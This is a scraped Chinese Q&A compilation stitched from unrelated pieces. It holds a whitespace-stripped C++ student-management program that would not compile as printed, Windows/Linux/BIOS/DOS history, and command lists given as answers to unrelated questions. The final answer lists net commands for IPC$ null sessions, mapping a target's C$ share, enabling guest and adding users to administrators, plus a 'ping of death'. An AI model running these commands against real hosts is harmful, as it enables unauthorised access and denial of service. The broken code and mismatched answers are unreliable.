	returnNULL;
}

boolCStudent::insert(conststudent&astu){
	student*newnode,*p=head;
	if(p->m_next==NULL){
		p->m_next=newstudent(astu);
		p->m_next->m_next=NULL;
		returntrue;
	}
	while(p->m_next){
		if(p->m_next->m_id==astu.m_id){
			cout<<"重復的學號，插入失敗!
";
			returnfalse;
		}
		if(p->m_next->m_id>astu.m_id){
			newnode=newstudent(astu);
			newnode->m_next=p->m_next;
			p->m_next=newnode;
			returntrue;
		}
		p=p->m_next;
	}
	p->m_next=newstudent(astu);
	p->m_next->m_next=NULL;
	returntrue;
}

unsignedCStudent::boys()const{
	unsignedcnt=0;
	student*p;
	for(p=head->m_next;p;p=p->m_next)
		if(p->m_sex=="男")++cnt;
	returncnt;
}

unsignedCStudent::girls()const{
	unsignedcnt=0;
	student*p;
	for(p=head->m_next;p;p=p->m_next)
		if(p->m_sex=="女")++cnt;
	returncnt;
}

unsignedCStudent::headcount()const{
	unsignedcnt=0;
	student*p;
	for(p=head->m_next;p;p=p->m_next,++cnt);
	returncnt;
}

boolCStudent::eraseid(){
	student*q,*p;
	unsignedid;
	cout<<"輸入要刪除的學號:";
	cin>>id;
	p=findid(id);
	if(p==NULL){
		cout<<"沒有找到學號是""<<id<<""的學生，刪除失敗!
";
		returnfalse;
	}
	q=p->m_next;
	p->m_next=q->m_next;
	deleteq;
	returntrue;
}
boolCStudent::erasename(){
	student*q,*p;
	stringname;
	cout<<"輸入要刪除人的姓名:";
	name=readstring();
	p=findname(name);
	if(p==NULL){
		cout<<"沒有找到姓名是""<<name<<""的學生，刪除失敗!
";
		returnfalse;
	}
	q=p->m_next;
	p->m_next=q->m_next;
	deleteq;
	returntrue;
}

boolCStudent::modifyid(){
	studenttmp,*p;
	unsignedid;
	cout<<"輸入要修改的學號:";
	cin>>id;
	p=findid(id);
	if(p==NULL){
		cout<<"沒有找到學號是""<<id<<""的學生，修改失敗!
";
		returnfalse;
	}
	tmp=readdata(1);
	tmp.m_id=id;
	*p=tmp;
	returntrue;
}

boolCStudent::modifyname(){
	student*p,tmp;
	stringname;
	cout<<"輸入要修改人的姓名:";
	name=readstring();
	p=findname(name);
	if(p==NULL){
		cout<<"沒有找到姓名是""<<name<<""的學生，修改失敗!
";
		returnfalse;
	}
	tmp=readdata(2);
	tmp.m_name=name;
	*p=tmp;
	returntrue;
}

intmenu(){
	intchoice;
	do{
		system("cls");
		cout<<"	****************************
";
		cout<<"	*學生基本信息管理系統*
";
		cout<<"	*==========================*
";
		cout<<"	*1、錄入學生信息*
";
		cout<<"	*2、顯示學生信息*
";
		cout<<"	*3、查詢學生信息*
";
		cout<<"	*4、添加學生信息*
";
		cout<<"	*5、統計學生信息*
";
		cout<<"	*6、刪除學生信息*
";
		cout<<"	*7、修改學生信息*
";
		cout<<"	*0、退出管理系統*
";
		cout<<"	****************************
";
		cout<<"
	請選擇:";
		cin>>choice;
	}while(choice<0||choice>7);
	returnchoice;
}

voidshow(student*p){
	cout<<p->m_id<<""<<p->m_name<<""<<p->m_age<<"";
	cout<<p->m_sex<<""<<p->m_address<<"";
	cout<<p->m_contact<<""<<p->m_dormitory<<endl;
}

voidCStudent::Show()const{
	student*p;
	cout<<"----------------------------------------------------------
";
	for(p=head->m_next;p;p=p->m_next)show(p);
	cout<<"----------------------------------------------------------
";
	system("pause");
}

voidCStudent::query()const{
	intselect;
	unsignedid;
	stringname;
	student*p;
	cout<<"1、按學號查詢
2、按姓名查詢
0、返回
";
	cin>>select;
	switch(select){
		case1:cout<<"請輸入學號:";cin>>id;
			if(p=findid(id))show(p->m_next);
			break;
		case2:cout<<"請輸入姓名:";name=readstring();
			if(p=findname(name))show(p->m_next);
			break;
		case0:return;
		default:cout<<"選擇錯誤。
";
	}
	system("pause");
}

voidstatistics(constCStudent&a){
	unsignedtotal=a.headcount();
	unsignedboys=a.boys();
	unsignedgirls=a.girls();
	cout<<"學生總數:"<<total<<"人。
";
	cout<<"其中，男生:"<<boys<<"名。";
	cout<<"女生:"<<girls<<"名。
";
	system("pause");
}

voiderase(CStudent&a){
	intselect;
	unsignedid;
	stringname;
	student*p,*q;
	cout<<"1、按學號刪除
2、按姓名刪除
0、返回
";
	cin>>select;
	switch(select){
		case1:cout<<"請輸入學號:";cin>>id;
			if(p=a.findid(id)){
				q=p->m_next;
				p->m_next=q->m_next;
				deleteq;
				cout<<"成功刪除"<<id<<"的信息。
";
			}
			break;
		case2:cout<<"請輸入姓名:";name=readstring();
			if(p=a.findname(name)){
				q=p->m_next;
				p->m_next=q->m_next;
				deleteq;
				cout<<"成功刪除"<<name<<"的信息。
";
			}
			break;
		case0:return;
		default:cout<<"選擇錯誤。
";
	}
	system("pause");
}

voidmodify(CStudent&a){
	intselect;
	cout<<"1、按學號修改
2、按姓名修改
0、返回
";
	cin>>select;
	switch(select){
		case1:if(a.modifyid())cout<<"修改成功。
";break;
		case2:if(a.modifyname())cout<<"修改成功。
";break;
		case0:return;
		default:cout<<"選擇錯誤。
";
	}
	system("pause");
}

intmain(){
	CStudenta;
	intan;
	do{
		an=menu();
		switch(an){
			case1:a.entering();break;
			case2:a.Show();break;
			case3:a.query();break;
			case4:a.entering();break;
			case5:statistics(a);break;
			case6:erase(a);break;
			case7:modify(a);break;
			case0:break;
			default:cout<<"選擇錯誤。
";break;
		}
	}while(an);
	return0;
}

⑸ 怎樣在源代碼中加入alt標簽具體操作步驟，謝謝

推出的視窗電腦操作系統名為windows。隨著電腦硬體和軟體系統的不斷升級，微軟的windows操作系統也在不斷升級，從16位、32位到64位操作系統。從最初的windows1.0到大家熟知的windows95、NT、97、98、2000、Me、XP、Server、Vista，Windows 7各種版本的持續更新.
早期版本的Windows通常僅僅被看作是一個圖形用戶界面，不是操作系統，主要因為它們在MS-DOS上運行並且被用作文件系統服務。不過，即使最早的16位版本的Windows也已經具有了許多典型的操作系統的功能，包括擁有自己的可執行文件格式以及為應用程序提供自己的設備驅動程序（計時器、圖形、列印機、滑鼠、鍵盤以及音效卡）。

Windows 操作系統對應的年代
Windows 1.0 1985-11-20
Windows 2.0 1987-11-1
Windows 3.0 1990-5-22
Windows 3.1 1992-3-18
Windows NT 3.1 1993-7-27
Windows NT 3.5 1995-11-20
Windows Bob 1995-5
Windows 95 1995-8-24
Windows NT 4.0 1996-7-29
Windows 98 1998-6-25
Windows 2000 2000-2-17
Windows ME 2000-9-14
Windows XP 2001-10-25
Windows Server 2003 2003-4-24
Windows Vista 2007-1-30
Windows Server 2008 2008-2-27

Windows 7 2009-10-22

16位操作系統

這個系列的產品包括：
Windows 1.0~Windows 1.04
Windows 2.0~Windows 2.03
Windows 3.0~Windows 3.2

16/32位兼容操作系統

這個系列有：
Windows 95 (第一版、第二版)
Windows 98（第一版、第二版（最穩定和普及版）和第三版（聯想私自改的OEM版）
Windows Millennium Edition （Windows98與2000的混合過渡性，頗受人爭議的版本）

32位操作系統

它們包括：Windows NT 3.1（1992年）、NT 3.5、NT 3.51、NT 4.0、Windows 2000、Windows XP 32位版、Windows Server 2003 32位版、Windows Server 2003 R2 32位版、Windows Vista 32位版、Windows Server 2008 32位版、Windows 7 32位版和windows 2008R2 32位版。

64位操作系統

這個系列的產品包括：Windows XP 64位版、Windows Server 2003 64位版、Windows Server 2003 R2 64位版、Windows Vista 64位版、Windows Server 2008 64位版、Windows7 64位版和Windows server 2008 R2。

2,
Linux Linux是一類Unix計算機操作系統的統稱。Linux操作系統的內核的名字也是「Linux」。Linux操作系統也是自由軟體和開放源代碼發展中最著名的例子。嚴格來講，Linux這個詞本身只表示Linux內核，但在實際上人們已經習慣了用Linux來形容整個基於Linux內核，並且使用GNU 工程各種工具和資料庫的操作系統。Linux得名於計算機業余愛好者Linus Torvalds。
Linux 主要作為Linux發行版（通常被稱為"distro"）的一部分而使用。這些發行版由個人，鬆散組織的團隊，以及商業機構和志願者組織編寫。它們通常包括了其他的系統軟體和應用軟體，以及一個用來簡化系統初始安裝的安裝工具，和讓軟體安裝升級的集成管理器。大多數系統還包括了像提供GUI界面的XFree86之類的曾經運行於BSD的程序。發行版為許多不同的目的而製作, 包括對不同計算機結構的支持, 對一個具體區域或語言的本地化，實時應用，和嵌入式系統，甚至許多版本故意地只加入免費軟體。目前，超過三百個發行版被積極的開發，最普遍被使用的發行版有大約十二個。
一個典型的Linux發行版包括：Linux內核，一些GNU程序庫和工具，命令行shell，圖形界面的X Window系統和相應的桌面環境，如KDE或GNOME，並包含數千種從辦公套件，編譯器，文本編輯器到科學工具的應用軟體。

1、主流的Linux發行版 Asianux ，B2D Linux ，Conectiva Linux ，Debian GNU/Linux ，Fedora Core ，Gentoo Linux ，Knoppix Linux ，Linux From Scratch ，Magic Linux ，Mandriva Linux ，Red Hat Linux ，Slackware Linux ，Stanix Live CD ，SUSE Linux ，Turbo Linux ，Ubuntu Linux.IPCop,NUtyx,DEFT,NETbsd,turbolinux

2、中國大陸的Linux發行版 紅旗Linux(Redflag Linux) ，沖浪Linux(Xteam Linux) ，藍點Linux ，新華Linux ，共創Linux ，百資Linux ，lxde,veket, lucky8k-veket.Open Desktop ，Hiweed GNU/Linux ，Magic Linux ，Engineering Computing GNU/Linux ，中標普華Linux ，中軟Linux ，新華華鐳Linux(RaysLX) ，CD Linux ，MC Linux ，即時Linux(Thizlinux) ，b2d linux ，IBOX ，MCLOS ，FANX，Everest，酷博linux，新氧Linux，Hiweed，雨林木風Linux，Deepin Linux，需要說明的是，新氧、Hiweed、雨林木風、Deepin都是基於ubuntu，並且Deepin Linux是Hiweed與深度合並後的版本，原來的Hiweed已經停止更新。
3、台灣地區的Linux發行版 宏碁Linux,lxde

4、目前最著名的發行版本 Debian，紅帽（redhat）、ubuntu、OpenSuse(原Suse)、Mandriva（原Mandrake）、CentOS、fedora,lxde,veket,等

5、國內比較著名的linux版本 紅旗linux
紅旗軟體有限公司（簡稱紅旗軟體）由中國科學院軟體研究所和上海聯創投資管理有限公司共同組建。此公司專注於基於Linux的操作系統的開發和市場，以及面向不斷增長的中文技術用戶的多平台應用軟體。他們的目標是「為網路生活注入活力」。公司將持續發展被稱之為「紅旗方式」的一套現代管理模式，它以進行自由軟體開發的企業模式為基礎，是客戶驅動的用戶化.

BIOS BIOS是英文"Basic Input Output System"的縮略語，直譯過來後中文名稱就是"基本輸入輸出系統"。其實，它是一組固化到計算機內主板上一個ROM晶元上的程序，它保存著計算機最重要的基本輸入輸出的程序、系統設置信息、開機後自檢程序和系統自啟動程序。 其主要功能是為計算機提供最底層的、最直接的硬體設置和控制
英語單詞Biography的復數形式的縮寫（Biography-Biographies-Bios），一般讀作/'ous/。
BIOS設置程序是儲存在BIOS晶元中的，只有在開機時才可以進行設置。CMOS主要用於存儲BIOS設置程序所設置的參數與數據，而BIOS設置程序主要對計算機的基本輸入輸出系統進行管理和設置，使系統運行在最好狀態下，使用BIOS設置程序還可以排除系統故障或者診斷系統問題。 有人認為既然BIOS是"程序"，那它就應該是屬於軟體，感覺就像自己常用的Word或Excel。但也有很多人不這么認為，因為它與一般的軟體還是有一些區別，而且它與硬體的聯系也是相當地緊密。形象地說,BIOS應該是連接軟體程序與硬體設備的一座"橋梁",負責解決硬體的即時要求。主板上的BIOS晶元或許是主板上唯一貼有標簽的晶元，一般它是一塊32針的雙列直插式的集成電路，上面印有"BIOS"字樣。586以前的BIOS多為可重寫EPROM晶元，上面的標簽起著保護BIOS內容的作用(紫外線照射會使EPROM內容丟失)，不能隨便撕下。586以後的ROM BIOS多採用EEPROM(電可擦寫只讀ROM)，通過跳線開關和系統配帶的驅動程序盤，可以對EEPROM進行重寫，方便地實現BIOS升級。 計算機用戶在使用計算機的過程中，都會接觸到BIOS，它在計算機系統中起著非常重要的作用。一塊主板性能優越與否，很大程度上取決於主板上的BIOS管理功能是否先進。
BIOS晶元是主板上一塊長方型或正方型晶元，BIOS中主要存放：
自診斷程序/（加電自檢程序）：通過讀取CMOS RAM中的內容識別硬體配置，並對其進行自檢和初始化；
CMOS設置程序：引導過程中，用特殊熱鍵啟動，進行設置後，存入CMOS RAM中；
系統自舉裝載程序：在自檢成功後將磁碟相對0道0扇區上的引導程序裝入內存，讓其運行以裝入DOS系統；
主要I／O設備的驅動程序和中斷服務/（基本外圍設備的驅動程序）： 由於BIOS直接和系統硬體資源打交道，因此總是針對某一類型的硬體系統，而各種硬體系統又各有不同，所以存在各種不同種類的BIOS，隨著硬體技術的發展，同一種BIOS也先後出現了不同的版本，新版本的BIOS比起老版本來說，功能更強.

DOS DOS是英文Disk Operating System的縮寫，意思是「磁碟操作系統」。DOS是個人計算機上的一類操作系統。從1981年直到1995年的15年間，DOS在IBM PC 兼容機市場中佔有舉足輕重的地位。而且，若是把部份以DOS為基礎的Microsoft Windows版本，如Windows 95、98和Me等都算進去的話，那麼其商業壽命至少可以算到2000年.
DOS家族包括MS-DOS、PC-DOS、DR-DOS、FreeDOS、PTS-DOS、ROM-DOS、JM-OS等，其中以MS-DOS最為著名。雖然這些系統常被簡稱為"DOS"，但沒有任何一個系統單純以"DOS"命名（只有一個毫無關連的1960年代IBM 大型主機操作系統 以此命名）。此外，有幾個和DOS無關、在非x86的微計算機系統上運行的磁碟操作系統在名稱中也有 "DOS" 字眼，而且在專門討論該機器的場合中也會簡稱為"DOS"（例如：AmigaDOS、AMSDOS、ANDOS、Apple DOS、Atari DOS、Commodore DOS、CSI-DOS、ProDOS、 TRS-DOS 等），但這些系統和DOS運行檔以及MS-DOS API並不兼容。

顧名思義，DOS主要是一種面向磁碟的系統軟體，說得簡單些，DOS就是人與機器的一座橋梁，是罩在機器硬體外面的一層「外殼」，有了DOS，我們就不必去深入了解機器的硬體結構，也不必去死記硬背那些枯燥的機器命令。我們只需通過一些接近於自然語言的DOS命令，就可以輕松地完成絕大多數的日常操作。另外，DOS還能有效地管理各種軟硬體資源，對它們進行合理的調度，所有的軟體和硬體都在DOS的監控和管理之下，有條不紊地進行著自己的工作。
隨著計算機技術的發展，網路也在迅猛地普及和發展。人們在享受著網路帶來的各種便利的同時，也受到了很多黑客的攻擊。在眾多的攻擊種類中，有一種叫做 DoS（Denial of Service 拒絕服務）的攻擊，是一種常見而有效的網路攻擊技術，它通過利用協議或系統的缺陷，採取欺騙或偽裝的策略來進行網路攻擊，最終使得受害者的系統因為資源耗盡或無法作出正確響應而癱瘓，從而無法向合法用戶提供正常服務。它看上去平淡無奇，但是攻擊范圍廣，隱蔽性強、簡單有效而成為了網路中一種強大的攻擊技術，極大地影響了網路和業務主機系統的有效服務。其中，DDoS（Distributed Denial of Service 分布式拒絕服務）更以其大規模性、隱蔽性和難防範性而著稱

英文的 黑色的背景命令輸入框 簡稱命令提示符 命令提示符（CMD）是在OS / 2 ， Windows CE與Windows NT平台為基礎的操作系統（包括Windows 2000和XP中， Vista中，和Server 2003 ）下的「MS-DOS 方式」。一般Windows 的各種版本都與其兼容，用戶可以在Windows 系統下運行DOS，中文版Windows XP 中的命令提示符進一步提高了與DOS 下操作命令的兼容性，用戶可以在命令提示符直接輸入中文調用文件

DOS基礎應用：
cd 改變當前目錄 sys 製作DOS系統盤
拷貝文件 del 刪除文件
deltree 刪除目錄樹 dir 列文件名
disk 制磁碟 edit 文本編輯
format 格式化磁碟 md 建立子目錄
mem 查看內存狀況 type 顯示文件內容
rd 刪除目錄 ren 改變文件名
cls 清屏
〔適用場合〕 屏幕上太亂了，或是屏幕上出現亂碼了， 清除屏幕上顯示內容但不影響電腦內部任何信息
〔用 法〕 cls 回車
move 移動文件，改目錄名
〔適用場合〕 移動文件到別的目錄
〔用 法〕 move [文件名] [目錄] 移動文件至新目錄下
move [目錄名] [目錄名] 改目錄名
〔例 子〕 c:\>move c:\autoexec.bat c:\old??
移動autoexec.bat文件至old目錄下
c:\>move c:\config.sys c:\old??
移動config.sys文件至old目錄下
more 分屏顯示
〔適用場合〕 當輸出很多一屏顯示不下時採用，幾乎適合所有命令，尤其是type等命令時很有用。 使用more時磁碟不能有防寫，也不適合光碟機。
〔用 法〕 type [文件名] | more 分屏顯示文件內容
more < [文件名] 分屏顯示文件內容
〔例 子〕 C:\>type msdos.w40 | more
x 拷貝目錄和文件
〔適用場合〕 在進行連同子目錄一起拷貝時很有用，在拷貝大量文件時比COPY命令要快得多
〔用 法〕 x [文件名] [目錄] 將指定文件拷貝到指定目錄
x [源目錄] [目的目錄] 將源目錄連子目錄考到目的目錄下
x *.* [目錄] /s 將文件與非空子目錄拷貝到指定目錄
其它常用參數還有: v 拷貝後校驗，會影響速度
e 與s 相似，但即使子目錄是空的也會拷貝。
help 幫助
〔適用場合〕 當想具體了解DOS命令的使用方法時使用
〔用 法〕 help 提供所有DOS命令幫助
help [DOS命令] 提供有關命令的幫助
如果你只大致記得某個命令，可以在提示符後直接輸入help命令，然後將出現下面的畫面：
attrib 設置文件屬性
〔適用場合〕 想對文件做較特殊的處理時
〔用 法〕 attrib 顯示所有文件的屬性
attrib +r或-r [文件名] 設置文件屬性是否為只讀
attrib +h或-h [文件名] 設置文件屬性是否隱含
attrib +s或-s [文件名] 設置文件屬性是否為系統文件
attrib +a或-a [文件名] 設置文件屬性是否為歸檔文件
attrib /s 設置包括子目錄的文件在內的文件屬性
〔例 子〕 C:\TEST>attrib +r wina20.386
C:\>attrib +h *.* /s?? 隱含所有文件
date 顯示及修改日期
〔適用場合〕 想知道或修改時間和日期
〔用 法〕 date 顯示和改變當前日期
〔例 子〕 C:\>date 09-20-1996?? 將日期改為1996年9月20日
C:\>date??
Current date is Tue 08-20-1996
Enter new date (mm-dd-yy):09-20-1996
按月-日-年的順序修改當前日期 直接按回車鍵忽略修改日期
lable 設置卷標號
〔適用場合〕 用來為磁碟做個標記
〔用 法〕 label 顯示磁碟卷標
label [盤符] [卷標名] 設定指定盤的卷標
〔例 子〕 C:\>label??
Volume in drive C is WANG
Volume Serial Number is 2116-1DD0
volume label (11 characters,Enter for none)?
可以輸入卷標，直接回車後
Delete current volume label (Y/N)?
按y刪除舊卷標，按n不更改
defrag 磁碟碎片整理
〔適用場合〕 磁碟讀寫次數很多，或磁碟使用時間很長了，可能需要使用這條命令整理磁碟。磁碟碎片並不是指磁碟壞了，而只是由於多次的拷貝和刪除文件後，磁碟使用會很不連貫，致使速度變慢。
〔用 法〕 1. C:\>defrag??
2. 選擇要整理的磁碟
3. 電腦分析磁碟狀況，然後告訴我們磁碟有多少需整理。按Esc鍵
4. 選擇Optimization Method(磁碟優化方法)，選擇"全部優化"或"僅優化文件"
5. 選擇Begin Optimization 開始整理
6. 整理完後，按回車鍵
7. 按Esc退出。
doskey 調用和建立DOS宏命令
〔適用場合〕 經常需要輸入重復的命令時，有非常大的用處
〔用 法〕 doskey
將doskey駐留內存，開辟出緩沖區，以後輸入的命令都將保存在緩沖區中，可以隨時調用
doskey [宏命令名]=[命令名]
將宏命令定義為命令，以後輸入宏命令，電腦就會執行相應的命令
doskey /reinstall 重新安裝doskey
doskey /bufsize= 設置緩沖區的大小
doskey /macros 顯示所有doskey宏
doskey /history 顯示內存中所有命令
doskey /insert|overstrike 設置新鍵入的字元是否覆蓋舊的字元
〔例 子〕 C:\>DOSKEY??
C:\>dir
C:\> C:\temp\*.* a:
C:\>del c:\temp\*.*
C:\> b:\*.* c:\temp
上述四條命令都已被保存，用游標控制鍵的上下可以依次選擇使用或修改, 也可以用F7鍵列出保存的所有命令
C:\>doskey di=dir/w/p?? 定義di為宏命令，意思是執行dir/w/p
fdisk 硬碟分區
〔建 議〕 只有硬碟被很利害的病毒感染時，或是一塊新硬碟才需要分區，最好請懂行的人指導。硬碟都需經過低級格式化，分區，格式化三個步驟才可使用，成品電腦內的硬碟都已經做過這些加工了。
〔用 法〕 輸入fdisk後按回車即可進入提示界面
emm386 擴展內存管理
〔建 議〕 這條命令比較復雜，在第五章中系統配置里將詳細介紹
lh/loadhigh 將程序裝入高端內存
〔適用場合〕 這條命令一般用在autoexec.bat中，當有些軟體需要的基本內存很大時，它會有用
〔用 法〕 lh [程序]
將程序裝入高端內存 使用此命令時，config.sys文件中需有下面兩條語句。 device=emm386.exe dos=umb
lh [程序] /l:區號 將程序裝入指定的umb區
lh /s 一般是由memmaker專用
〔例 子〕 C:\MOUSE\>lh mouse?? 將滑鼠驅動程序裝入高端內存
memmaker 內存優化管理
〔適用場合〕 這個命令現在已經很少用了，在當年DOS流行時，想玩游戲可少不了它，它可以騰出許多基本內存供游戲使用，只需安裝一次即可
〔用 法〕 1. C:\>memmaker??
2. 回車繼續，F3退出
3. 選擇手動安裝和自動安裝，直接回車表示自動安裝（回車得了）
4. 選擇是否有程序需要擴充內存，可用空格鍵選擇，Yes表示需要，No不需要，按回車鍵即可。
5. 程序自動檢測硬碟內是否安裝了WINDOWS
6. 軟碟機中若有軟盤則應將其取出，然後按回車鍵，電腦將重新起動兩次，不要中斷，只需按回車鍵。
（其實很簡單，一直按回車鍵就行了，呵呵）
msd 系統檢測
〔適用場合〕 用於檢查系統信息
〔用 法〕 1. C:\>msd 回車後可見到如下畫面，在每個選項旁邊加了註解，表示該按鈕的功用
?? 2. 選擇需查詢的項目，比如選第一個Computer,將會彈出一個對話框顯示電腦的一些基本信息。你可以試試其他的選項，看看有什麼用。
3. 按Alt+F鍵激活下拉菜單後, 選擇"Exit"項退出。
undelete 恢復被刪除的文件
〔適用場合〕 當不小心刪錯了文件時，它可以用得上。
DOS刪除文件時，只是將文件從分配表中去除，在磁碟存儲區內將文件名的第一個字母刪除，文件內容並未馬上從磁碟中刪除，所以能恢復。
〔用 法〕 undelete 恢復已刪除的文件
undelete /all 恢復文件且不再詢問是否恢復，
以"#%&-"的順序為第一個
字母來恢復文件
undelete /list 列可恢復的文件名
undelete /s 可將undelete駐留內存，但幾乎沒人這樣使用
命令提示符全命令：
wmimgmt.msc 打開Windows管理體系結構(wmi)
wupdmgr Windows更新程序
wscript Windows腳本宿主設置
write 寫字板
winmsd 系統信息
wiaacmgr 掃描儀和照相機向導
winchat xp自帶區域網聊天
mem.exe 顯示內存使用情況
msconfig.exe 系統配置實用程序
mplayer2 簡易widnows media player
mspaint 畫圖板
mstsc 遠程桌面連接
mplayer2 媒體播放機
magnify 放大鏡實用程序
mmc 打開控制台
mobsync 同步命令
dxdiag 檢查directx信息
drwtsn32 系統醫生
devmgmt.msc 設備管理器
dfrg.msc 磁碟碎片整理程序
diskmgmt.msc 磁碟管理實用程序
dcomcnfg 打開系統組件服務
ddeshare 打開dde共享設置
dvdplay dvd播放器
net stop messenger 停止信使服務
net start messenger 開始信使服務
notepad 打開記事本
nslookup 網路管理的工具向導
ntbackup 系統備份和還原
narrator 屏幕「講述人」
ntmsmgr.msc 移動存儲管理器
ntmsoprq.msc 移動存儲管理員操作請求
netstat -an （tc）命令檢查介面
syncapp 創建一個公文包
sysedit 系統配置編輯器
sigverif 文件簽名驗證程序
sndrec32 錄音機
shrpubw 創建共享文件夾
secpol.msc 本地安全策略
syskey 系統加密，一旦加密就不能解開，保護Windows xp系統的雙重密碼
services.msc 本地服務設置
sndvol32 音量控製程序
sfc.exe 系統文件檢查器
sfc /scannow windows文件保護 tsshutdn 60秒倒計時關機命令
tourstart xp簡介（安裝完成後出現的漫遊xp程序）
taskmgr 任務管理器
eventvwr 事件查看器
eudcedit 造字程序
explorer 打開資源管理器
packager 對象包裝程序
perfmon.msc 計算機性能監測程序
progman 程序管理器
regedit.exe 注冊表
rsop.msc 組策略結果集
regedt32 注冊表編輯器
rononce -p 15秒關機
regsvr32 /u *.dll 停止dll文件運行
regsvr32 /u zipfldr.dll 取消zip支持
cmd.exe cmd命令提示符
chkdsk.exe chkdsk磁碟檢查
certmgr.msc 證書管理實用程序
calc 啟動計算器
charmap 啟動字元映射表
cliconfg sql server 客戶端網路實用程序
clipbrd 剪貼板查看器
conf 啟動netmeeting
compmgmt.msc 計算機管理
cleanmgr 垃圾整理
ciadv.msc 索引服務程序
osk 打開屏幕鍵盤
odbcad32 odbc數據源管理器
oobe/msoobe /a 檢查xp是否激活
lusrmgr.msc 本機用戶和組
logoff 注銷命令
iexpress 木馬捆綁工具，系統自帶
nslookup ip地址偵測器
fsmgmt.msc 共享文件夾管理器
utilman 輔助工具管理器
gpedit.msc 組策略
以下為Windows操作系統的常用運行命令,執行這些命令,就能打開系統對應的相關實用程序,如果大家能基本利用,就能檢查並修復系統的最基本的故障,除注銷,關閉系統命令外,其它所有命令,大家不妨一試!!
運行\輸入CMD\輸入 對應的相關實用程序:
. 打開C:＼Documents and Settings＼XXX(當前登錄Windows XP的用戶名)
.. 打開Windows XP所在的盤符下的Documents and Settings文件夾
... 打開「我的電腦」選項。
accwiz.exe 輔助工具向導
actmovie.exe 直接顯示安裝工具
append.exe 允許程序打開制定目錄中的數據
arp.exe 顯示和更改計算機的IP與硬體物理地址的對應列表
at.exe 計劃運行任務
atmadm.exe ATM調用管理器統計
attrib.exe 顯示和更改文件和文件夾屬性
autochk.exe 檢測修復文件系統 (XP不可用)
autoconv.exe 在啟動過程中自動轉化系統 (XP不可用)
autofmt.exe 在啟動過程中格式化進程 (XP不可用)
autolfn.exe 使用長文件名格式 (XP不可用)
arp.exe 顯示和更改計算機的IP與硬體物理地址的對應
calc.exe 計算器
Bootvrfy.exe 通報啟動成功
cacls.exe 顯示和編輯ACL
cdplayer.exe CD播放器
change.exe 與終端伺服器相關的查詢 (XP不可用)
charmap.exe 字元映射表
chglogon.exe 啟動或停用會話記錄 (XP不可用)
chgport.exe 改變埠（終端服務） (XP不可用)
chgusr.exe 改變用戶（終端服務） (XP不可用)
chkdsk.exe 磁碟檢測程序
chkntfs.exe NTFS磁碟檢測程序
cidaemon.exe 組成Ci文檔服務
cipher.exe 在NTFS上顯示或改變加密的文件或目錄
cisvc.exe 打開索引內容
ckcnv.exe 變換Cookie
cleanmgr.exe 磁碟清理
cliconfg.exe SQL客戶網路工具
clipbrd.exe 剪貼簿查看器
clipsrv.exe 運行Clipboard服務
clspack.exe 建立系統文件列表清單
cluster.exe 顯示域的集群 (XP不可用)
cmd.exe 進2000\XP DOS
cmdl32.exe 自動下載連接管理
cmmgr32.exe 連接管理器
cmmon32.exe 連接管理器監視
cmstp.exe 連接管理器配置文件安裝程序
comclust.exe 集群
comp.exe 比較兩個文件和文件集的內容
conf 啟動netmeeting聊天工具
control userpasswords2 XP密碼管理.
compmgmt.msc 計算機管理
cprofile.exe 轉換顯示模式 (XP不可用)
開始,運行,輸入CMD\輸入net config workstation計算機名 \完整的計算機名\用戶名
工作站處於活動狀態（即網路描述） \軟體版本（即軟體版本號） \工作站域 工作站域的 DNS 名稱
登錄域 \COM 打開時間超時（秒） \COM 發送量（位元組） \COM 發送超時 (msec)
CMD\輸入net config workstation 更改可配置工作站服務設置。
CMD\輸入net config server 可以顯示不能配置的下伺服器計算機名 \伺服器注釋 \伺服器版本
因為字數限制，只能介紹這么多了 真累啊

⑹ 基於vc++的程序界面設計源代碼

vc++的程序
那好的
找的

⑺ C# 裡面的my school項目在哪裡看源代碼啊

你說的是在運行里輸入的英文吧
以下是各種命令
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C：到本地為H:
net use h: \\ip\c$ 登陸後映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意：administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務；(如:net start telnet， net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C：共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況，常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例：netstat -p tcq/ip 查看某協議使用情況（查看tcp/ip協議使用情況）
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由（數據包），參數：「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據，參數：「-l[空格]數據包大小」；「-n發送數據次數」；「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
